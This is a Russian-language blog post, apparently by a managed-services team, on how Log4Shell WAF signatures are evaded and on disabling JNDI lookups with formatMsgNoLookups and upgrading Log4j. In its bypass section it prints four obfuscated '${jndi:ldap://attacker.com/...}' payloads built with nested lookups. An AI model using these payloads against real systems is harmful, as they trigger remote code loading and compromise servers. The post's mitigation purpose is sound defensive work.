Log4Shell: WAF-сигнатуры обходятся обфускацией - переходим к системному отключению JNDI
Производители WAF публикуют сигнатуры для блокировки Log4Shell. Тестируем bypass через nested lookup обфускацию - часть сигнатур пробивается. Переходим к -Dlog4j2.formatMsgNoLookups=true.
Производители WAF публикуют сигнатуры для блокировки Log4Shell эксплойтов, но атакующие обходят их через nested lookup обфускацию
К 8 декабря прошло почти три дня с момента, как Log4Shell стал публичным, и реакция вендоров WAF оказалась ожидаемой: F5, Cloudflare, AWS WAF и ряд других опубликовали правила для блокировки CVE-2021-44228. На первый взгляд - хорошие новости. На второй - мы провели несколько часов, тестируя эти правила на стендах, и результат оказался менее оптимистичным.
Что именно предлагают WAF-вендоры
Сигнатуры в основном построены на детектировании строки ${jndi: в запросе. Логика понятна: именно эта конструкция запускает lookup. Cloudflare, например, опубликовала правило CVE:Log4J:CVE-2021-44228, которое разворачивают в managed ruleset. AWS WAF Managed Rules добавили AWSManagedRulesKnownBadInputsRuleSet с аналогичной логикой. ModSecurity-сигнатуры от OWASP CRS тоже появились оперативно.
Проблема в том, что Log4j 2 поддерживает вложенные lookups, и это ломает любую простую сигнатуру на ${jndi:.
Как обходится сигнатура
Log4j 2 вычисляет lookups рекурсивно. Это значит, что строка ${${lower:j}ndi:ldap://...} после раскрытия ${lower:j} превращается в jndi:ldap://... и выполняется. Вот несколько паттернов, которые гуляли в публичных PoC уже к 7-8 декабря:
${${lower:j}${lower:n}${lower:d}${lower:i}:ldap://attacker.com/...}
${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.com/...}
${${env:NaN:-j}ndi:ldap://attacker.com/...}
${j${::-n}di:ldap://attacker.com/...}
Идея везде одна: разбить строку jndi на части, которые собираются в неё уже внутри движка Log4j, а не на уровне HTTP. WAF видит в заголовке User-Agent или теле запроса нечто, в чём нет явного ${jndi: - и пропускает.
Мы прогнали эти паттерны через тестовый стенд с несколькими вариантами конфигурации WAF. Часть сигнатур на более сложные nested-варианты пробивалась. Не все - некоторые вендоры к этому моменту уже успели добавить паттерны на ${lower:, ${::-, и другие lookup-функции. Но гонка сигнатур с атакующими - это не та позиция, в которой хочется находиться при CVSS 10.0.
Почему WAF как основная митигация - плохая ставка
Дело не в том, что WAF бесполезны. Они отсекают массовое сканирование и снижают шум. Но у этого подхода два фундаментальных ограничения применительно к Log4Shell.
Первое - поверхность атаки шире, чем HTTP. Уязвимость срабатывает в момент логирования. Логируется не только то, что пришло через WAF: внутренние RPC между сервисами, сообщения из очередей, имена файлов, данные из баз. WAF не видит ни один из этих векторов.
Второе - полнота охвата. Не у всех сервисов трафик идёт через WAF. Внутренние API, сервисы в DMZ с прямым доступом из других сегментов, legacy-сервисы на нестандартных портах. В типичной клиентской инфраструктуре WAF стоит перед публичным фронтом, а не перед всем.
Это не значит «снять WAF-правила». Это значит, что WAF - дополнительный слой, не замена реальной митигации.
Что работает системно
Настоящее решение - отключить JNDI lookup в самом Log4j. Это убирает уязвимость в корне, а не пытается её перехватить снаружи.
Параметр -Dlog4j2.formatMsgNoLookups=true при запуске JVM отключает обработку lookup-конструкций в сообщениях лога. Никакой ${jndi:ldap://...}, как бы он ни был обфусцирован, не будет обработан - он просто записывается в лог как строка.
В первые часы после публикации мы уже применяли этот параметр как временную меру. Теперь, глядя на обфускационные bypass-ы, он переходит в обязательную категорию для всего, что не может быть немедленно обновлено до Log4j 2.15.0.
Варианты применения:
- JVM-аргумент: добавить
-Dlog4j2.formatMsgNoLookups=trueв JAVA_OPTS или в startup-скрипт сервиса. Требует рестарта. - Переменная окружения:
LOG4J_FORMAT_MSG_NO_LOOKUPS=true- для случаев, когда JVM-аргументы не под нашим контролем напрямую (вендорский продукт, контейнер с закрытым entrypoint). - Для Log4j 2.10+: можно через log4j2.component.properties в classpath, но это требует доступа к конфигурационным файлам приложения.
В рамках managed-сопровождения мы прошлись по клиентским средам и применили параметр везде, где Log4j 2 присутствует и нет возможности немедленно обновиться. По каждому сервису - фиксируем в тикете: что применено, когда рестартовано, кем подтверждено.
Ограничения параметра
Важно понимать: -Dlog4j2.formatMsgNoLookups=true закрывает основной вектор атаки через message lookup, но не все известные векторы в Log4j 2. К 8 декабря уже шло обсуждение того, что некоторые lookup-механизмы могут срабатывать через другие точки входа - не через message format. Bypass-ы параметра теоретически возможны через Thread Context Map и ряд других механизмов в зависимости от конфигурации приложения.
Поэтому приоритет - обновление до Log4j 2.15.0 там, где это возможно. Параметр - пауза, пока идёт тестирование обновления в средах, где быстрый апгрейд небезопасен.
Где мы сейчас
По итогам сегодняшнего дня у нас три категории:
- Обновлены до 2.15.0 - где позволила скорость тестирования и совместимость.
- Параметр применён, обновление в процессе - большинство оставшихся случаев.
- Ждём вендора - компоненты, где мы не контролируем ни версию Log4j, ни JVM-аргументы. Здесь WAF-правила и сетевая изоляция - единственное, что есть прямо сейчас.
Гонка сигнатур продолжается, и, судя по скорости появления новых bypass-ов, она будет продолжаться ещё какое-то время. Полагаться на неё как на основную защиту - не лучшая идея, когда есть параметр, который просто выключает проблемный механизм целиком.
- Log4Shell: первые 12 часов с инвентарём на руках · 1 декабря 2021